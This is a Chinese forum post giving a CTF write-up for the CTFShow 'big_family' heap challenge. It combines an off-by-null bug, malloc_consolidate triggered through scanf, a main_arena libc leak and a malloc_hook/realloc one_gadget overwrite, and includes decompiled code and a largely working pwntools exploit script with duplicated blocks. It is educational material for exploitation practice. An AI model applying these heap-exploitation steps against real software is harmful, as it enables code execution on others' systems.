首页
社区
课程
招聘
[原创]CTFShow family(PWN) writeup
发表于: 2021-4-16 14:36 11194

[原创]CTFShow family(PWN) writeup

2021-4-16 14:36
11194

malloc_consolidate

使用 scanf 获取内容时,如果 输入字符串比较长会调用 malloc 来分配内存

在 malloc 分配内存时,首先会一次扫描一遍 fastbin , smallbin , unsorted bin ,largebin, 如果都找不到可以分配的 chunk 分配给用户 , 会进入 top_chunk 分配的流程, 如果此时还有fastbin ,就会触发堆合并机制,把 fastbin 合并 之后放入 smallbin,再看能否分配,不能的话会使用 top_chunk 进行分配

main_arena attack

当我们申请不到free_hook,malloc_hook上方的位置时,我们可以将堆块申请到main_arena,然后覆盖top chunk为hook函数上方的位置,完成利用

本次使用的例题是ctfshow大吉大利杯的一道堆题,big_family

正常检查保护后发现保护全开,在 read_n 函数里面发现一个 Off by null

我们看 Add 函数

在 Add 函数中我们发现我们可以申请的size 最大只有 0x47大小,也就是最大0x50大小的堆块

Show 函数以及 Delete函数没太大问题

由于我们可以申请的堆块大小被限制到了只能被free到fastbin里,而我们又要泄漏libc基地址,因此我们只能通过scanf会调用malloc分配内存的办法来使堆块合并

首先我们可以申请出6个堆块,我们要通过第一个堆块来利用 Off by null 修改合并后的smallbin的size,以及第6个堆块来防止前面堆块与 top_chunk发生合并,而由于是 Off by null 我们要让 chunk1-5 的size 相加等于 0x110,然后覆盖为 0x100来构造堆块重叠

现在的堆结构是这样的:

image-20210125214838786

构造samllbin并且修改smallbin的size为0x100

image-20210125215952827

将smallbin分割成5个大小相加为0x100大小的块, 此时堆块情况

image-20210301153218829

然后通过向scanf输入0x400个1来触发malloc_consolidate,使其刚好留出0x10大小的空间便于我们利用

之后我们删除1,2号块,用于我们接下来利用off by null 对二号块的size位进行覆盖的操作

删除1,2号块后,我们需要利用malloc_consolidate,把删除的1,2,号块,合并进入smallbin, 之后删除6号块,在触发一次malloc_consoildate,使其向前合并

image-20210301160304233

向前合并之后,我们可以发现我们得到了一个包含没有被free过的一个0x130的空闲堆块,也就是说我们可以通过这个堆块来制造堆块重叠了

image-20210301161439306

我们将1,2,6号堆块申请回来,同时设置好size,就可以覆盖3号堆块,或者其他堆块的内容为main_arena+88,然后通过show函数就可以泄漏libc了

泄漏出libc之后,我们发现,我们申请申请不到free_hook上面的位置,我们只能使用main_arean attack来进行利用

申请出两个重叠堆块,并利用main_arena的机制使,main_arena中出现一个size

image-20210301162535742

然后我们将堆块申请到main_arena上,由于size大小不够,我们一次申请覆盖不到top_chunk的位置,因此我们可以分两次,先在后面的位置在写上一个size,然后就可以申请到了

image-20210301163646101

覆盖top_chunk,getshell

由于onegadget的条件限制,我们可以利用realloc来调节栈帧,其原理是,realloc前面有很多push指令,可以用来调偏移,使其可以满足onegadget (rbp+0x30==null) 的条件,因此我们将malloc_hook设置为realloc+13的地方,将realloc_hook设置为onegadget就可以getshell

image-20210301164913045

getshell

image-20210301165341674

 
void __cdecl read_n(char *buf, size_t len)
{
  char ch_0; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
 
  v4 = __readfsqword(0x28u);
  for ( i = 0; i < len; ++i )
  {
    ch_0 = 0;
    if ( read(0, &ch_0, 1uLL) < 0 )
    {
      puts("Read error!!\n");
      exit(1);
    }
    buf[i] = ch_0;
    if ( ch_0 == 10 )
      break;
  }
  buf[i] = 0; // 固定向后面添加一个'\x00' 字符
}
void __cdecl read_n(char *buf, size_t len)
{
  char ch_0; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
 
  v4 = __readfsqword(0x28u);
  for ( i = 0; i < len; ++i )
  {
    ch_0 = 0;
    if ( read(0, &ch_0, 1uLL) < 0 )
    {
      puts("Read error!!\n");
      exit(1);
    }
    buf[i] = ch_0;
    if ( ch_0 == 10 )
      break;
  }
  buf[i] = 0; // 固定向后面添加一个'\x00' 字符
}
void __cdecl buildhouse()
{
  int size; // [rsp+8h] [rbp-18h]
  int i; // [rsp+Ch] [rbp-14h]
  char *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  buf = 0LL;
  for ( i = 0; ; ++i )
  {
    if ( i > 15 )
    {
      puts("You can't build a house anymore!");
      return;
    }
    if ( !house[i] )
      break;
  }
  puts("How big a house do you want to build?");
  if ( (unsigned int)_isoc99_scanf("%u", &size) == -1 )
    exit(-1);
  if ( size <= 0 || size > 0x47 ) // fastbin
  {
    puts("Your house is not the right size");
    exit(-1);
  }
  buf = (char *)malloc(size);
  if ( !buf )
  {
    puts("Something wrong in building !!");
    exit(-1);
  }
  house[i] = buf;
  puts("How do you want to decorate your house?");
  read_n(house[i], size);
  puts("Done,your house is completed!");
}
void __cdecl buildhouse()
{
  int size; // [rsp+8h] [rbp-18h]
  int i; // [rsp+Ch] [rbp-14h]
  char *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  buf = 0LL;
  for ( i = 0; ; ++i )
  {
    if ( i > 15 )
    {
      puts("You can't build a house anymore!");
      return;
    }
    if ( !house[i] )
      break;
  }
  puts("How big a house do you want to build?");
  if ( (unsigned int)_isoc99_scanf("%u", &size) == -1 )
    exit(-1);
  if ( size <= 0 || size > 0x47 ) // fastbin
  {
    puts("Your house is not the right size");
    exit(-1);
  }
  buf = (char *)malloc(size);
  if ( !buf )
  {
    puts("Something wrong in building !!");
    exit(-1);
  }
  house[i] = buf;
  puts("How do you want to decorate your house?");
  read_n(house[i], size);
  puts("Done,your house is completed!");
}
 
Add(0x18,'start')#0
Add(0x18,'f')#1
Add(0x38,'f')#2
Add(0x28,'f')#3
Add(0x38,'f')#4
Add(0x38,'a'*0x20+p64(0x100)+p64(0x10))#5
Add(0x10,'f')#6
Add(0x18,'start')#0
Add(0x18,'f')#1
Add(0x38,'f')#2
Add(0x28,'f')#3
Add(0x38,'f')#4
Add(0x38,'a'*0x20+p64(0x100)+p64(0x10))#5
Add(0x10,'f')#6
 
 
for i in range(1,6):
    Delete(i)
sh.sendlineafter('Choice:',"1"*0x400)
Delete(0)
Add(0x18,'a'*0x18)#0
for i in range(1,6):
    Delete(i)
sh.sendlineafter('Choice:',"1"*0x400)
Delete(0)
Add(0x18,'a'*0x18)#0
 
Add(0x18,'a')#1
Add(0x28,'f')#2
Add(0x38,'b')#3
Add(0x38,'c')#4
Add(0x38,'d')#5
Add(0x18,'a')#1
Add(0x28,'f')#2
Add(0x38,'b')#3
Add(0x38,'c')#4
Add(0x38,'d')#5
 
 
Delete(1)
Delete(2)
Delete(1)
Delete(2)
sh.sendlineafter('Choice:',"1"*0x400)
Delete(6)
sh.sendlineafter('Choice:',"1"*0x400)
sh.sendlineafter('Choice:',"1"*0x400)
Delete(6)
sh.sendlineafter('Choice:',"1"*0x400)
 
 
Add(0x38,'a')#1
Add(0x18,'b')#2
Add(0x28,'c')#6
Add(0x38,'a')#1
Add(0x18,'b')#2
Add(0x28,'c')#6
 
main_arena = u64(sh.recvuntil('\x7f').ljust(8,'\x00'))- 88
libc_base = main_arena - 0x3c4b20
free_hook = libc_base + libc.symbols['__free_hook']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x4526a
main_arena = u64(sh.recvuntil('\x7f').ljust(8,'\x00'))- 88
libc_base = main_arena - 0x3c4b20
free_hook = libc_base + libc.symbols['__free_hook']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x4526a
Add(0x28,'a')#7-->3
Add(0x38,'b')#8-->4
Add(0x38,'c')#9
Add(0x28,'d')#10
Add(0x47,p64(0x41))#11
Add(0x47,p64(0x41))#12
Delete(11)
Delete(12)
Add(0x47,p64(0x41))
Delete(3)
Delete(10)
Delete(7)
 
Add(0x28,p64(0x41)*2)
Add(0x28,'f0und')
Add(0x28,p64(0x41)*2)
Add(0x28,'a')#7-->3
Add(0x38,'b')#8-->4
Add(0x38,'c')#9
Add(0x28,'d')#10
Add(0x47,p64(0x41))#11
Add(0x47,p64(0x41))#12
Delete(11)
Delete(12)
Add(0x47,p64(0x41))
Delete(3)
Delete(10)
Delete(7)
 
Add(0x28,p64(0x41)*2)
Add(0x28,'f0und')

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2021-5-4 01:05 被F0und编辑 ,原因: 部分地方解释起来理解有问题
上传的附件:
收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//